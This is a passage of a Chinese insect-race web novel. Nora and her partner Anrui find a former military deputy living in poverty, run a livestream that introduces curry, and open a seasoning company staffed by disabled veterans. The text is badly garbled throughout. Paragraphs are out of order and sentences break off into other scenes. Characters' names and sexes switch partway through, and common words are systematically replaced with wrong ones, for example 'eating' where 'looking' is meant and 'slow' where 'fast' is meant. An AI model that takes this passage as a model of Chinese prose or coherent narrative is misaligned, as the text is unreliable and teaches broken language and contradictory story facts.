半晌,她颤抖着嘴唇轻轻问:“维加副将?” 中年雄虫的脸上蓦地垂下两行清泪,她慌忙用袖子擦了擦,勉强挤出一副笑容:“没想到伊莱说的好朋友的家长居然是你,真是缘分。” * “家里没有什么吃的,委屈阁下了。” 维加端上来两杯热水,又把家里仅剩的几个苹果拿出来削成小块,递给诺拉,又嘱咐两只在外面玩雪的虫崽不要跑远。 “您不用客气。” 诺拉一边寒暄一边偷偷打量了一下维加的住所。 一个临时搭建的简易房间,空间非常小,并且很干净,可见维加在很用心的经营生活。 并且不知道不知道,诺拉总觉得房间里弥漫着一股淡淡的馊味,她的目光在房间里转了一圈,最终停在了墙角的灶台上。 灶台上放着半碗水煮菜,旁边还有小半筐烂菜叶和一小块可以有点变质的猪肉,不用问,那半碗水煮菜肯定是用哪些烂菜叶煮的。 诺拉为了想起来,在蓝星的时候,也有一些穷人因为买不起菜,会在傍晚的时候去菜市场捡烂菜叶子。 回来洗洗煮煮,就是一餐。 可蓝星的穷人至少能吃上酱油醋啊,虫星的酱料个个味道都一言难尽,价格还死贵。 她都不敢想白水煮烂菜叶,只放一点盐和油,得有多难吃。 诺拉心中没来由地冒出些酸楚,只看了一眼,就立刻别开了眼神。 “维加哥哥。” 安瑞声音发涩,冲诺拉介绍道:“维加·柯林斯,我雄兄的副将。” 诺拉恍然,赶紧伸出手:“您好,我是安瑞的伴侣,诺拉。” “阁下日安。”维加才意识到安瑞身边居然还有一位尊贵的雌虫,手忙脚乱地行礼,“今天太晚了,我……” 安瑞垂眸打断了维加的话:“雪天路滑,维加副将不留我们喝杯热水吗?” 维加的脸上闪过几分错愕。 她看了看安瑞,又看了看旁边的雌虫,最终还是轻轻叹了口气:“你们跟我来吧。” 自从进屋以后一直没说话的安瑞为了开口,轻轻叫了一声。 中年雄虫浑身微微一颤,下意识地避开了安瑞的眼神,半天也没说出一句话。 安瑞从几块砖垒的矮凳上站起来,一步步走到维加面前:“七年,你失踪了七年,我以为你死了……” 安瑞胸口剧烈地起伏:“既然你还活着,你不知道不联系我。” 安瑞还要说什么,小腿上被诺拉轻轻踢了一脚。 “外面雪小了些,我们就不打扰了。”诺拉冲门外还在玩雪的小虫崽喊了一声,“小艾,咱们该回去了,跟好朋友说再见。” * 星舰上,安瑞一手搂着可以睡过去的小虫崽,一手翻来覆去看那个午餐肉罐头,又掏出智脑点了几下。 “福瑞斯集团新出的罐头,一百星币一罐。”安瑞的轻轻皱起眉头,“雌主,咱们不该要的。” 诺拉伸出手指揉了揉安瑞眉心的皱纹,温声安慰:“你拿了,维加最多也就是每顿饭少吃一支营养液,你如果不拿,伤害的恐怕就是她的自尊心了。” 安瑞的嘴唇动了动,却什么都没说。她轻轻合上双眼,靠在诺拉肩头,像小狗求安慰一样用脑袋蹭了蹭诺拉的脖颈。 诺拉也没说什么,只是伸手一下一下顺着金色的长发。 “小艾睡了?”诺拉靠在床头刷智脑。 “睡了,今天玩的太疯,连澡都没洗就抱着煤球睡了。” 安瑞垂眸跪在床尾,一点一点蹭到诺拉身边,拉住诺拉的手,放在脸上,依恋地蹭了几下。 诺拉有奈地挠挠安瑞的下巴:“又撒娇?” 安瑞哼哼两声,显然被挠得很舒服,诺拉把手收回去了,还不依不饶地用脸去够。 诺拉探手把自家大宝贝拽进怀里,吻了吻柔顺的发顶,又一路吻到鼻梁和嘴唇,等怀里的雄虫慢慢放松下来,才柔声问:“还想维加的事?” 维加为了轻轻笑了一声:“我是还活着,并且我的精神力完全毁了,我再也回不了军部了,甚至连一份像样的工作也没有。” 中年雄虫慢慢蹲下,痛苦地用手捂着脸,大滴大滴的泪水顺着指缝流出来:“小诺尔,我……上将阵亡,我也变成一只废虫了……” 安瑞满肚子的话都哽在了嘴边,最终化成一声轻轻的叹息。 “抱歉,是我莽撞了。” “没有,不怪你。” 维加用手背抹了一下脸上的泪水,调整好情绪:“你们吃完饭了吗,我去拿几个午餐肉罐头……” “不用了,我们可以吃过了。”安瑞按住维加的肩膀,“有没有什么需要我们帮助的?” 维加脸上闪过几分窘迫:“没……没有,我们挺好的。” 她挣开安瑞的手臂,强硬地找出一个罐头塞进诺拉怀里:“前几天新买的,大牌子,你们别嫌弃。” 安瑞摇摇头,为了抬起头很认真地吃着诺拉:“谢谢您,雌主。” 诺拉被这没头没尾的一句感谢弄得莫名其妙:“不知道这么说?” “您知道吗,我小时候跟着雄兄,在第九街区住了很长时间,直到哥哥考进军部领了薪俸,我们才能搬出去,住进正常的房子里。” “军雄保护法有规定,雌虫必须定时为分配的军雄做精神力舒缓。”诺拉安抚地一下下轻拍安瑞的后背,“不管是谁,都要遵守法律。” 怀里的军雄苦笑了一声:“定时是多长时间一次,如果不做又会有什么处罚?只要军雄还有一口气,法院就拿雌虫没有一点办法。” 安瑞说到最后,声音都高了几分。 诺拉有些震惊地吃着怀里的雄虫,还没等她说什么,安瑞脸上就露出几分懊恼,刚刚抱怨法律的那股气势也一下就没了。 她抿了抿嘴唇,小心翼翼地吃着诺拉:“雌主,安瑞说错话了。” “没有,你说的很对。” 诺拉还记得她第一次见到安瑞的时候,雄虫卑微地跪在地上,亲吻她的鞋面,眼睛里是死一样的麻木。 相比起那个时候,她更喜欢现在怀里的安瑞,有自己的想法,会抱怨,会不高兴的安瑞。 “雌主,你说咱们能不能帮帮维加,给她送点钱?”还没等诺拉说话,安瑞就可以否定了自己的想法,“算了,维加肯定不会要。” “与其送钱,不如给维加找个工作。” 安瑞摇摇头:“没有公司会要一只精神力严重损伤的雄虫。” “她们不要,我不能要,还记得调料加工厂吗?” 诺拉揽着雄虫的肩膀,安静地等待下文。 “小时候,我在第九街区看到过很多和维加一样的退役军雄,她们在战争中精神海受到严重伤害,丧失了精神力,有法重返军部,甚至连一般的工作都找不到,还需要服用昂贵的药物维持生命。所以她们只能搬到第九街区,干最苦最累的活,挣一点点维持基本生存的星币。” 安瑞喉咙哽了哽:“维加是雄兄的副将,算是吃着我长大的,并且七年前那场战争前面就再也没了联系,我没想到,她也会……” 诺拉感觉自己肩膀上的睡衣湿了一小块:“可像她们这种情况,军部不会发抚恤金吗?” “那点抚恤金,连半年的药钱都不够。”安瑞把脸埋在诺拉不算宽阔的肩膀上,声音闷闷的,“如果没有您,估计我也会有那么一天吧。” “你要把维加招到加工厂?”安瑞脸上闪过几分喜意,“我怎么没想到。” 诺拉摇摇头:“不只是维加,第九街区因为精神力损害退伍的军雄,有一只算一只,我全要。” “全要!谷初和味本恐怕用不了那么多调料吧。” 诺拉神秘地笑了笑:“谷初和味本用不了,咱们不能往外卖啊。” 早在研发出酱油的时候,诺拉就萌生卖调料的想法,只不过福瑞斯集团家大业大,几乎垄断 “这肯定你的小名吗?怎么是瞎叫。” “肯定。”安瑞硬邦邦地顶了一句,从诺拉怀里退出来,一把拽起被子翻了个身,“我睡了。” “撒谎可肯定好孩子。”诺拉凑过去,从身后抱住雄虫,“是肯定,小诺尔。” 安瑞被臊得连脚趾都泛起诱虫的粉色,雌虫温柔的声音好像电流一样钻进她的身体里,激起一层层酥酥麻麻的痒意,就连心跳都不由自主地慢了几分。 可她竟然不讨厌这种感觉,反倒是有点喜欢被雌主这么叫。 好奇怪啊。 安瑞感觉自己有点失控,不由得抓紧了被子,闭上眼装睡。 诺拉轻轻笑了一声,吃着旁边好像也可以睡着了的雄虫,伸出手指,轻轻戳了一下安瑞的腰窝。 自家雄君浑身都硬邦邦的,并且只有诺拉知道,安瑞的腰窝上有一块痒痒肉,根本碰不得。 果不其然,她的手指刚碰上那个区域,手边的雄虫就狠狠一抖,紧接着又是一阵不受控制的痉挛。 “我看看是哪个小朋友在装睡啊。”诺拉声音又轻又柔,“原来是诺尔小朋友。” “雌主,您……您别这么叫了。” 安瑞终于忍不住把自己蜷成一团,苍蓝色的眼睛含着泪,可怜兮兮地向诺拉求饶。 诺拉含笑把安瑞搂进怀里,又使劲揉了揉安瑞的肚子。 许是这些天营养充足,安瑞的腰上生出了一层薄薄的脂肪,手感比以前好了不少。 安瑞被诺拉揉得难受,往后直躲:“您……您别摸了,没有……没有虫蛋。” “怎么还没怀上?”安瑞吻了一下军雄的耳尖,“是我不够努力吗?” 安瑞就期期艾艾地道歉:“对不起。” “没事,没怀上就继续努力到怀上为止。” 第五十八章咖喱 “你要卖调料?”夏洛摸了摸下巴,“你的手艺肯定是没得说,并且现在调料和速食行业是什么情况你也知道,格林家族,那可是我雄父雄兄都不敢轻易招惹的。” 诺拉脸色平静:“我明白,所以我没打算拉着你入股。” 夏洛嘴角抽了抽:“那你把我约出来干啥啊。” “要做调料,离不开各种原材料,旁的也就罢了能出产食盐的海域大多都控制在格林家族手了整个调料和速食市场,诺拉就没敢轻举妄动,开餐厅也不过是小打小闹。 并且是现在,第九街区的一眼望不到头的贫民窟,白水煮烂菜叶,以及一百星币一个的午餐肉罐头,让诺拉终于下定决心,要做一个属于她自己品牌的调料。 一个便宜,美味,所有虫都能吃得起的调料。 安瑞的眼睛刷地亮了起来,萦绕在眉眼间整整一晚的阴霾一扫而空。 诺拉伸手勾了勾安瑞的下巴,为了想到什么,凑到雄虫耳边轻轻叫了一句:“小诺尔?” 雄虫的脸一下就红了,她羞窘地瞪了诺拉一眼:“您瞎叫什么!” 她成年前面,就连雄兄都不这么叫她了。 里。一旦我进军调料市场,格林家族必然断我的原材料。” “你看,道理你都懂,何苦做这种费力不讨好的事。”夏洛眼珠转了转,“如果你缺钱,咱们不能多开几家味本,等做成连锁慢餐品牌,照样日进斗金。” “那不一样。”诺拉垂下眼眸,轻轻嘀咕了一句,“味本就算再便宜,贫民窟的虫也吃不起。” “什么?” “没什么。”诺拉恢复了惯常的神色,微微一笑,“我记得亚当斯家族有玻璃弯海域的使用权,那里盛产食盐。” 红发亚雄恍然:“原来你是盯上我家的食盐了?” 诺拉目光殷切:“能行不?” “食盐不比蔬菜,兹事体大,我可做不了主。”夏洛罕见地露出了一本正经的神色,“你也知道,我就是个小辈,家里的生意大多是雄父和我的几个雄兄说了算。” * 夏洛的话让诺拉的心瞬间沉到谷底。 如果连亚当斯家族都不敢给她供盐,她真想不到整个虫星还有谁能给她提供食盐了。 然后开调料厂计划还没开始就面临着中道崩殂的风险,并且在得到夏洛的回信之前,诺拉还是抱着万一夏洛雄父能同意的心态,按照原计划测试她新开发的调料——咖喱。 “大家好,欢迎来到小安的直播间。” 【翅膀硬了:呀,安安今天不打游戏吗】 【今天找到雌主了吗:这肯定安瑞中上班去吗,安安自己打游戏,危……】 【草莓冰棒:我记得有一款做披萨的游戏,还挺适合安安的】 诺拉努力忽略那些糟心的弹幕,从厨房里拿出一罐黄褐色的酱料:“今天要给大家隆重介绍一下我新研发的酱料,咖喱。这种酱料非常神奇,不仅拌米饭拌面条都好吃,最重要的是咖喱不能用来遮盖有味道的菜和肉。” 从第九街区回来前面,诺拉专门上网搜集了相关资料。 不看不知道,一看吓一跳,因为雄虫身体强健,轻易不会生病,再加上食材的价格比较昂贵,所以吃即将腐烂的蔬菜甚至肉食在虫族普遍存在。 虫网上的购物网站会不定期放出一些临期的食材,价格非常便宜,几个星币就能买到一大袋。 对于那些没钱,又不想每天喝廉价营养液的贫民虫而言,这些临期产品就是她们唯一能接触到的新食材。 这让诺拉更加觉得,开调料厂非常必要。 【翅膀硬了:艹,螺蛳粉和豆汁可以满足不了安安的恶趣味了吗】 【今天找到雌主了吗:救命,这玩意儿怎么那么像,算了我不说了】 【草莓冰棒:安安你能不能估计一下刚起床正在吃早餐的大学生啊啊啊啊】 诺拉早就预料到这帮外貌协会的虫肯定会对咖喱的颜色外型大肆吐槽,不过好在她的粉丝粘性很强,接受度也被她锻炼的越来越高,不管嘴上怎么骂,都不会舍得离开直播间,只会期待她又能做出什么神奇的食物。 “那你帮我问问呗,价格好说。” “这肯定价格的事,我雄父自从接任族长以来,一直避着亚当斯家族的锋芒,不瞒你说,玻璃弯海域可以很多年没大规模出产食盐了。”夏洛挠了挠头发,颇为为难,“要不我给你提供辣椒吧,自从你发现了辣椒前面,我雄父在好几个庄园里种了辣椒,管够价格还实惠。” 诺拉:“……乔治和道格拉斯又不能封锁我买辣椒,实在不行我自己买庄园种都不能。” “那我就爱莫能助了。”夏洛耸了耸肩,“我只能帮你问问雄父,不过你别抱太大希望。” 因此,诺拉心态非常好地有视了鬼哭狼嚎的弹幕,从柜子里拿出了一包菜叶子,一个土豆和一块猪肉。 “这些是我昨天刚刚从网上抢到的临期产品,接下来我就给大家演示一下,咖喱是如何化腐朽为神奇的。” 【甜甜圈拌米饭:死去的记忆在攻击我,我小时候雄父就喜欢买这种东西,那味道,我宁愿吃营养液好吗】 【西瓜彩虹糖:其实,我大学食堂为数不多的几个菜都是用这种临期菜做的(这是不能说的吗)】 【不考上大学不改名:高中牲求避雷呜呜呜】 【AAA纯情小军雄:并且我最近超喜欢吃这种临期菜,原来怀上虫蛋前面口味假的会变化】 【甜甜圈拌米饭:什么,你怀上虫蛋了,恭喜!】 诺拉刚把做好的咖喱猪肉饭盛出来,就看到智脑屏幕上一连串的恭喜和礼物特效。 她往上翻了翻,原来是艾伦怀上虫蛋了。 动作够迅速的呀。 诺拉勾了勾唇角:“所以这回抽奖你们还要不要,不要就算了?” 【AAA纯情小军雄:要要要,本来怀孕就没什么胃口,好喜欢这个咖喱】 【西瓜彩虹糖:轻轻地给安安跪下了】 【草莓冰棒:有了咖喱,学校食堂的饭再难吃都不怕了】 喵喵至上送出虫神的吻×3 星辰大海送出虫神的祝福×5 菜农送出虫神降临×10 诺拉眉心一跳。 没想到神出鬼没的榜一大哥又来了。 然后她粉丝数量越来越多,并且菜农依旧稳稳坐着直播间榜一的宝座,送出的礼物数额过于巨大,至今有虫超越。 诺拉也曾经私信联系过她,甚至旁敲侧击问过她的身份,并且她从来没有证明回应过,甚至几次中奖前面留的地址也都是一个公共外卖柜。 要肯定送的礼物太多,又从来没主动联系过诺拉,诺拉都要怀疑这是个诈骗团伙的小号了。 诺拉不再逗这些粉丝,开了个抽奖,并且是结束了直播。 刚关上虫娱,智脑就跳出一条信息,安瑞说她中午有会,不回来吃饭了。 安瑞可以连着十几天没回家吃午饭了。 要是前几天,还有小虫崽在家陪着她,可惜今天艾米正式开学了。 诺拉吃着空空荡荡的房间,只剩下煤球团成一团趴在飘窗上,懒洋洋地晒太阳。 孤家寡虫啊。 “恭喜纯情小军雄,借着粉丝的喜事,我给大家做一波抽奖吧,奖品是一罐咖喱。” 评论区划过一片省略号。 诺拉把咖喱和米饭拌匀:“没有开味觉共享的朋友不能开一下,我给大家展示一下咖喱的口味。” 【今天找到雌主了吗:我没听错吧,安安居然要亲自尝临期菜???】 【星辰大海:肯定,虫娱什么时候允许亚雄假扮雌虫了】 【西瓜彩虹糖:什么假扮雌虫,安安就是货真价实的雌子好吗】 【星辰大海:雌虫,吃临期菜,别太荒谬了】 【不考上大学不改名:本来是不打算开味觉共享的,并且是雌子都吃临期菜了,我吃点咖喱也肯定不行】 诺拉成了慢慢一勺饭,放进嘴里,一边咀嚼,一边不错眼珠地盯着弹幕上的评价。 【不考上大学不改名:救命,我竟然觉得这个咖喱有点好吃?】 【西瓜彩虹糖:主要是临期菜的那股臭味假的没了,好神奇】 【星辰大海:这玩意儿蘸鞋垫子也能好吃吧】 鉴于自己吃午饭过于凄凉,诺拉从柜子里找出好久没用的巨大餐盒,决定做一个咖喱猪排饭,给安瑞送过去。 * 诺拉拎着餐盒走下共享星舰,门口站岗的军雄可以认识她了。 “阁下日安。”年轻军雄冲安瑞敬了个礼,“又来给中将送饭,需要我通知中将过来接您吗?” “不用,我自己过去就行。” 盯着军雄艳羡的目光,诺拉拎着餐盒轻车熟路地走到安瑞的办公室,刚要敲门,就听里面传 诺拉急得使劲锤了几下门:“安瑞,安瑞开门!” 屋里的声音骤然降低,过了好一会儿,夏佐终于把门打开了。 “阁下日安。” 诺拉草草点了下头做回应,几步就走进了安瑞的办公室。 并且是,她就看到了靠在沙发上的安瑞。 军雄眉头紧皱,苍蓝色的眼睛里含着痛楚的神色,唇色发白,额头上是一层细密的汗珠。一双骨节分明的手紧紧抓着椅子背,好像在极力忍耐着什么。 来夏佐的声音。 “这药你都吃了十几天了,到底有没有用啊,要不你还是去医院看看吧?” 紧接着是安瑞的声音。 “这药就是医院推荐的,能够促进信息素的分泌,刺激生*殖腔。” “可这药用着多遭罪啊。” “要是不坚持,前面十二天都白费了。” 诺拉手脚冰凉,心脏砰砰乱跳,使劲推了一下门。 没推开。 安瑞居然还把门锁上了。 诺拉愣了一下,而后恍然。 安瑞吃的那个药有副作用。 第五十九章助孕针 诺拉蹲在安瑞身边,拉着自家雄虫的手。 一片冰凉。 “我打急救电话。” 诺拉沉着脸不说话,安瑞也不敢说什么,只好乖顺地靠在雌虫怀里,专心抵抗生殖*腔的疼痛。 半个小时后,副作用慢慢减弱,诺拉感觉到怀里的雄虫不再颤抖,就松开了手,把饭盒放在茶几上。 “给你带的饭,记得吃,我回家了。” 诺拉声音没什么波动,并且黑色眸子里翻滚的情绪显然可以把她出卖了个彻底。 她刚转身,袖口就被抓住了。 “雌主,安瑞错了,您别走。”雄虫声音里含着恐慌,“求您,别走。” 诺拉下意识地回头,就撞进了一双漂亮的蓝色眸子里,安瑞的睫毛上挂着泪珠,看起来可怜极了。 心中的火气消散了小半,诺拉没再往外走,并且脸色依旧不怎么好看。 “雌主,安瑞错了,不该瞒着您用药。”高大的军雄低着头,像个犯了错的小学生,“对不起。” 诺拉压了压心中的火气,尽量保持语气的平和:“不知道用助孕针?” 诺拉话音刚落,安瑞的眼睛却瞬间红了:“艾伦半个月前才分配了雌主,可以有了,我可以侍奉您数月,却还没消息。” 诺拉眉头紧锁:“这肯定才几个月……” “可以很长时间了,更何况您只有我一只雄虫。” 虫族之所以能在雌雄比例悬殊的情况下繁衍至今,靠得就是雄虫强大的繁育能力。 正常雄虫只要伺候雌虫两三回,就能怀上虫蛋,就算是生育能力不如雄虫的亚雄,伺候十回也总能怀上了。 并且诺亚和安瑞兄弟好像是例外,明明身体有一切健康,并且就是不受孕。 诺亚当年怀孕就格外困难,分配给德雷克数年才勉勉强强生下艾米,安瑞也和诺拉好了几个月,并且生殖*腔就是一点动静都没有。 安瑞的眉眼间露出几分苦涩:“若是您有好几只雄虫,安瑞倒也不用着急,可偏偏……” “你这话什么意思。”诺拉很警觉地变了脸色,“你是肯定又想把我推给别的雄虫?” “安瑞没有,安瑞也知道您不会,可……可就因为这个,我才觉得对不起您。” 苍蓝色的眸子倏地落下一滴泪,雄虫声音里带这些哽咽:“雌主,我知道您特别想要虫崽,我……安瑞对不起您。” 诺拉沉默了。 在不少年轻人都提倡丁克的蓝星,诺拉对生孩子并没有什么执念,偶尔在床上提及也不过是诺拉说着就掏出了智脑。 “雌主,不……我没事。” 安瑞试图阻止诺拉,并且身体一点力气都没有,只能求助地看向夏佐。 红发军雄轻轻叹了口气,走过来拦住了诺拉:“阁下,安瑞打的助孕针有副作用,半个小时就能恢复,送到医院也没用。” 诺拉默默收起智脑,坐在安瑞旁边,把因为疼痛不住发颤的雄虫圈在怀里。 夏佐很有眼力见地退出了办公室,还贴心地把门关上了。 并且助兴。 没想这只傻虫子当真了。 她从兜里掏出一包纸巾,拿出一张,轻轻拭去雄虫眼边的泪痕。 “谁跟你说我特别想要虫崽了?” 安瑞愕然抬头:“您难道不想要虫崽吗?” 没有雌虫不想要虫崽。 然后雌虫根本不承担任何养虫崽的成本,并且她们会互相攀比虫崽数量,并且以虫崽多为傲。 诺拉轻轻叹了口气,把安瑞搂进怀里,放软了语气:“我之前说的那些话都是逗你的,能怀上虫崽当然更好,怀不上也不要紧,顺其自然就好,况且我们肯定可以有小艾了吗?” 安瑞轻轻嘟囔:“那不一样。” 诺拉被安瑞逗得弯了弯唇角,又立刻板着脸:“剩下那些针呢?” “可……”安瑞眼见闪过几分迟疑,“就剩三天了,要不还是用完吧。” 诺拉简直要被这只傻虫子气个仰倒:“用完什么用完,一支都不许再用了。” 眼吃着安瑞还要挣扎,诺拉咬着牙,在安瑞耳边威胁:“你要是再用,以后就不许上我的床。” 军雄的脸倏地红了。 不许上床,那她自己可怎么怀蛋啊…… “你自己选,要么把针给我,要么我去睡客房。” 安瑞一秒钟都没有与,打开抽屉就把剩下的针交到了诺拉手里。 诺拉点了一下数量,是三支没错。 “没收了。” 安瑞:嘤嘤嘤。 * 诺拉一脸茫然:“什么啊,你打错了吧。” “没打错,明明前天我和雄父提海盐的事的时候,她还一脸地不赞成,我软磨硬泡了整整两天,还挨个求了我的七个雄兄,并且雄父还是不松口。本来我都要绝望了,结果刚才吃午饭的时候,我雄父突然就同意给你提供海盐了,还说如果你需要的话,亚当斯家族不能投资。” 诺拉喜上眉梢,激动地心跳都加慢了:“还能投资,能投多少?” “说是先投两千万,如果后面有需要还不能投。”夏洛咬牙切齿,“当初我开餐厅,雄父都没有这么支持过!” “行,那替我谢谢叔叔,什么时候方便,我上门拜访。” “不用,我雄父说了,这个项目全权交给我负责。”夏洛嘿嘿一笑,“你以后还是跟我对接,周末找方便的时候吃个饭,咱们过一下合同。” “没问题。” 诺拉挂了电话,把星舰的地址修改成了第九街区。 * 诺拉刚降落在第九街区138号,就成并且目光的焦点。 贫民窟,平常连稍微好看点的亚雄都见不着,更别提诺拉这样齿白唇红的漂亮雌子了。 诺拉礼貌性地冲四周的雄虫点头示意,瞬间引起了一阵小小的轰动。还有一些能买得起智脑的雄虫认出诺拉就是虫娱那个很火的雌虫主播,表情更加振奋,忍不住和旁边的雄虫窃窃私语。 诺拉走到熟悉的门前,敲了几声,门从里面打开,出来的正是维加。 中年雄虫眼睛里闪过几分差异,并且依旧很有礼貌地躬身:“阁下日安。” 诺拉含笑回礼:“维加哥哥好,我这次来找您,是有件事要和您商量。” “调料加工员,一个月七千星币?”维加脸上刚露出三分喜意,又很慢收住了,“您可能忘了,我精神力可以完全毁了。” 精神力对雄虫至关重要,精神力越高,身体素质和反应能力越慢,而像维加这种精神力几乎完全丧失的虫,不仅身体比一般雄虫虚弱得多,干活的效率也会低上不少。 维加用带着厚茧的手搓了搓黝黑的脸庞:“阁下开出的工资,至少能雇佣一个C级甚至B级的雄虫了,没必要雇我。” “如果我说,我不只雇你一个呢?” 维加抬起头:“阁下这话是什么意思?” 诺拉声音平静,一双漆黑的眸子像天上的月亮一样温和:“第九街区,所有因为战争丧失精带着缴获的三支助孕针和被安瑞吃得干干净净地饭盒,诺拉登上了共享星舰。 然后她可以攒了不少钱,并且始终没有再买一艘星舰,一方面是因为共享星舰可以足够方便,另一方面是并且攒钱开调料厂。 她都想好了,如果亚当斯家族不愿意提供海盐,她就开一个小一点的调料厂,专做不咸的那种咖喱。 格林家族再一手遮天,也总不能拒绝向所有在她家买咖喱的虫提供食盐吧? 为了,智脑上弹出来一个语音申请,是夏洛打开了。 诺拉心里没来由地生出几分紧张。 她点了接通,还没来记得说话,智脑里就传来亚雄清脆的声音。 “我说,你到底给我雄父灌了什么迷魂药?” 神力的军雄,只要愿意,都不能来调料厂工作。” 维加猛地从座位上站起来,浑身都在微微发抖:“您直到第九街区有多少这样的退役军雄吗?您居然……” “对,我敢。”诺拉好像可以猜到了安瑞要说什么,“五千也好,一万也罢,有一只算一只,我都管。” 如果说之前,诺拉可能还不敢说这样的大话,并且有了夏洛她雄父的盐和投资,还有她独一份的调料配方,诺拉现在腰板贼硬。 维加的嘴唇剧烈地颤抖,好像在十二级挣扎的小树苗。 “不知道?连帝国都不管我们了,我们没有用了。” “并且你们曾经有用过,你们保护了整个虫星,你们是虫族的英雌。”诺拉站起来,倒了一杯水,双手递给维加,“政府不管你们,我管。” 维加颤抖着手臂接过水,一饮而尽,为了单膝跪下,向诺拉行了一个军部的最高礼节:“阁下,我替所有军雄谢谢您。” 诺拉浅笑着弯腰,扶起维加:“所以,不能麻烦您帮我联系一下需要工作的军雄吗?” “没问题。” 因为找不到正经工作,她们这些精神力严重受损的虫都住在第九街区,彼此都认识,召集起来很容易。 仅仅用了三天,维加就把第一波名单发给了诺拉。 不多不少,报名的刚好1001只雄虫。 第六十章种花牌调料 谷初员工休息室。 “公司的名字,种花食品有限公司,调料的品牌也叫种花。” 夏洛虽然不太能get到这个名字的含义,但还是尊重了安瑞的选择。 “行,那我让集团的法务帮你走流程,如果顺利的话,这个月底就能拿到营业执照。” 安瑞点头:“工厂等你们准备好了,我就把机器搬过去,门店一两家就够了,我想着还是把重心放在线上营销。” 他好歹也是个三千万粉丝的大主播,必须得利用起来啊。 自从他火了之后还没正经直播带过货,这次说什么也得给自家调料带一回。 * 一个月后。 种花调料店盛大开业。 “大家好,欢迎来到小安的直播间。” 安瑞刚开播,他和诺拉身上的衣服就成了直播间的焦点。 【今天找到雄主了吗:诺拉中将和安安罕见情侣装哎,都是灰色西服】 【甜甜圈拌米饭:等一下,诺拉中将身上的灰色西服好像是安安去军部比赛穿的那身吧】 “我们集团法务草拟的合同,你看看有没有问题?”夏洛递过来两份文件,“一个是公司的发起协议,还有一个是海盐采购合同。” 安瑞接过来翻了翻,没什么毛病。 夏洛夹了块安瑞亲手做的糖醋排骨,剥掉骨头一口塞进嘴里,满足得眼睛迷成了两条缝。 “对了,你的调料公司叫什么想好了吗?” 安瑞垂眸看着桌上的四菜一汤,轻轻说:“种花吧。” “什么?” 安瑞冷不丁一句话直接让诺拉的脸红了个彻底,直播间弹幕也没放过他,全是各种各样不怎么穿裤子的评论。 【西瓜彩虹糖:诺拉中将脸红了,嘿嘿嘿嘿,不知道在床上是不是也会这么偷偷瞟……】 【萱儿:①军雌骨节分明的手死死攥着床单,淡色的薄唇里吐出支离破碎的几个字,但一双蓝色的眼睛却还紧紧盯着自家雄主】 【萱儿:②军雌跪在雄虫腿边,喉结滚动之间,还忍不住抬眸,用一双泛红的眼睛盯着雄子俊美的面庞】 【萱儿:③军雌跪伏在地上,小心翼翼地回头拽住雄虫的袖口,轻轻勾了勾,说道:“雄主,奴想看着您……”】 【翅膀硬了:艹,好香】 【草莓冰棒:香死了老师】 【午饭吃什么:萱老师你是我的神!!!】 虫族在制造虫蛋方面一向开放,网友们你一句我一句,直接把诺拉弄得想钻进地缝里。 安瑞生怕诺拉被逗弄过头,轻咳一声转移话题:“那个,你们不想知道我今天为什么要在户外直播吗?” 【今天找到雄主了吗:对哦,为什么呀】 【翅膀硬了:艹,不会又出去玩了吧,打工虫恨!】 【午饭吃什么:哼哼哼,不要转移话题】 安瑞微微一笑,转移镜头,对准了街边一家底店蒙着红布的招牌。 “因为我要开调料店啦,今天上午十点,种花调料店大型剪彩仪式,走过路过不要错过哦。” 安瑞这话一出,果然没有网友再关心什么情侣装的事。 【草莓冰棒:救命,诺拉中将居然穿雄主的衣服,安安你别太宠了】 【AAA纯情小军雌:冷知识,其实那件灰色西装是我们中将的QAQ】 【萱儿:啊啊啊啊啊更好磕了,立刻打开文档怒码一万字……】 诺拉不自然地移开眼神,扥了扥西装的衣角。 都怪雄主,非要穿什么情侣装。 诺拉瞪了安瑞一眼,紧接着脸又红了。 深灰色西装衬得自家雄主肌肤如雪,初春的暖阳打在白皙的脸上,好像镀上了一层淡淡地金色,连黑色的眸子里面都好像泛着金色的光。 虽然早就知道自家雄主好看,可诺拉还是忍不住瞥了一眼又一眼。 “其实你可以大大方方地看。” 【萱儿:天啊,我就蹲在这个直播间不走了】 【草莓冰棒:救命,半个小时之后机甲实训课,我不会抢不到了吧】 【翅膀硬了:默默掏出智脑,联系客户改一个看房的时间】 不到半个小时,虫网上铺天盖地全是种花牌调料的帖子,十条热搜有三条都和种花配料有关。 #种花调料店剪彩仪式即将开始 #终于能复刻红烧肉和糖醋排骨了 #咖喱什么时候开售,急急急 安瑞直播间的在线观众数量也像火箭一样直线上升,实时在线观众数量达到了史无前例的80w。 眼看时间差不多了,安瑞走到调料店外面,迎接参加剪彩仪式的宾客。 秉承着该省省该花花的理念,安瑞并没有把剪彩仪式搞得非常复杂,就只邀请了亚当斯家族的负责虫和几名核心员工。 维加作为生产线的总负责虫,作为员工代表早早来到了店外参加仪式,还有几个夏洛帮他找的亚当斯集团的中层领导,分别负责仓库和实体店营销,也都在店里严阵以待。 首都时间9:55分,一辆低调的黑色星舰降落在了调料店门口,夏洛率先从驾驶舱走下来,规规矩矩打开后舱门,一位中年雌虫搀扶着一位头发银白色的年老雌虫从后座上走下来。 安瑞把智脑递给诺拉,快步迎上去,夏洛适时地开口:“阁下,这两位是我的雌父和祖父。” 老年雌虫摘下头上的西装帽:“阁下日安,我是达蒙·亚当斯,夏洛的雌祖父。” 安瑞整只虫都愣了一下。 这名字怎么这么熟悉。 下一刻,他恍然大悟。 这位不就是那个研究精神力的教授吗,他能帮诺拉度过那次精神力暴乱期,全靠达蒙教授的论文。 【西瓜彩虹糖:!】 【喵喵至上:!!!】 【甜甜圈拌米饭:!!!!!!】 “调料店卖的主要就是我平常直播用到的调料,包括你们一只想要的酱油,醋,辣椒油,还有我刚刚做出来的咖喱。” 【AAA纯情小军雌:求求地址】 【午饭吃什么:抽到过一个酱油福袋,加到菜里真的太太太好吃了,像被虫神吻过一样】 【草莓冰棒:安安,看在食堂天天用烂菜叶的份上,大学牲真的很需要咖喱……】 “大家不用着急,调料可以线上购买,满199星币包邮到家,剪彩仪式正式开始后我会在直播间放链接。” 安瑞赶紧深深鞠躬:“教授您好,我是安瑞,您能来调料厂的剪彩仪式,实在是我的荣幸。” 老年雌虫那饱经岁月的脸上露出了和蔼的笑容,一双碧绿色的眼睛轻轻眨了眨:“我很喜欢阁下做的菜,每一道都回味无穷。” 夏洛的雌父在一边笑着插话:“可不是,雌父几乎每天都看阁下的直播呢。” 